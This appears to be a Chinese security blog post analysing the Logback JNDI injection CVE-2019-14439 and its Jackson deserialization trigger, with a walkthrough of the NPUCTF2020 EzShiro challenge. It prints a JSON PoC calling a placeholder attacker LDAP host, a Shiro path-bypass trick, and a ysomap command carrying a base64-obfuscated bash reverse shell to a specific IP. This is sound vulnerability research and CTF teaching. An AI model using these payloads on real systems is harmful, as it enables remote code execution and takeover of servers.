别再只盯着Shiro-550了：聊聊CVE-2019-14439这个被低估的Logback JNDI注入漏洞（附Jackson触发姿势）-平芜编程栈

深入剖析CVE-2019-14439：Logback JNDI注入漏洞的实战与思考

在Java安全领域，JNDI注入漏洞早已不是新鲜话题，但大多数研究者的目光往往聚焦在Log4j2这类"明星漏洞"上。今天我们要探讨的是一个相对冷门却同样危险的漏洞——CVE-2019-14439，它存在于Logback-core的JNDIConnectionSource类中。这个漏洞的特殊之处在于，它需要借助Jackson等库进行反序列化才能触发，这为漏洞利用带来了独特的挑战和机会。

1. 漏洞原理深度解析

1.1 Logback-core的JNDIConnectionSource设计缺陷

Logback作为Java生态中广泛使用的日志框架，其核心组件logback-core中的JNDIConnectionSource类原本用于通过JNDI获取数据库连接。这个类暴露了一个致命的设计缺陷——它允许通过jndiLocation参数直接指定JNDI地址，而没有任何安全校验机制。

public class JNDIConnectionSource extends ConnectionSourceBase { protected String jndiLocation; public void setJndiLocation(String jndiLocation) { this.jndiLocation = jndiLocation; } public Connection getConnection() throws JMSException { try { InitialContext initialContext = new InitialContext(); return (Connection)initialContext.lookup(this.jndiLocation); } catch (NamingException var3) { // 错误处理... } } }

从代码中可以看出，当攻击者能够控制jndiLocation参数时，就能实现典型的JNDI注入攻击。这与Log4j2的漏洞原理类似，但触发条件更为苛刻。

1.2 漏洞触发条件分析

与Log4j2的直接字符串插值触发不同，CVE-2019-14439需要满足以下条件才能被利用：

反序列化入口点：需要存在Jackson、XStream等反序列化框架的处理点
类路径依赖：目标应用中必须包含logback-core组件
JNDI访问权限：目标环境需要允许出站LDAP/JNDI请求

这种多条件依赖使得该漏洞在现实中的利用门槛相对较高，但也因此更容易被开发者忽视。

2. 漏洞利用实战：从理论到实践

2.1 基础PoC构造

利用Jackson触发该漏洞的基本PoC如下：

String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", " + "{\"jndiLocation\":\"ldap://attacker.com:1389/Exploit\"}]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); // 必须开启多态类型处理 Object obj = mapper.readValue(json, Object.class);

这个PoC的关键点在于：

使用Jackson的多态类型处理（enableDefaultTyping）
精确构造JNDIConnectionSource的JSON表示
控制jndiLocation指向恶意LDAP服务器

2.2 高版本JDK下的利用挑战

在JDK 8u191及以上版本中，由于Oracle引入了JNDI注入防护措施，传统的利用方式会失效。此时需要借助二次反序列化技术，通过CommonsCollections等Gadget链实现RCE。

JDK版本	影响程度	绕过方式
<8u191	直接RCE	直接JNDI注入
≥8u191	需要Gadget链	CommonsCollections等二次反序列化

3. CTF实战分析：[NPUCTF2020]EzShiro

3.1 题目环境分析

这道CTF题目提供了一个典型的Spring Boot + Shiro组合环境，关键依赖包括：

<dependencies> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-core</artifactId> <version>1.2.1</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <!-- 其他依赖... --> </dependencies>

题目首先需要绕过Shiro的身份验证，然后通过/json端点触发Jackson反序列化漏洞。

3.2 组合利用技巧

解题的关键步骤包括：

Shiro绕过：使用/;/json的路径遍历技巧绕过Shiro拦截
端点探测：POST请求发送true确认Jackson的存在
漏洞利用：结合CommonsCollections链构造Gadget

# 使用ysomap工具建立恶意LDAP服务器 java -jar ysomap.jar use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzAuNDAuNS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}' run

这个案例展示了在实际复杂环境中，多个漏洞和组件如何被串联利用。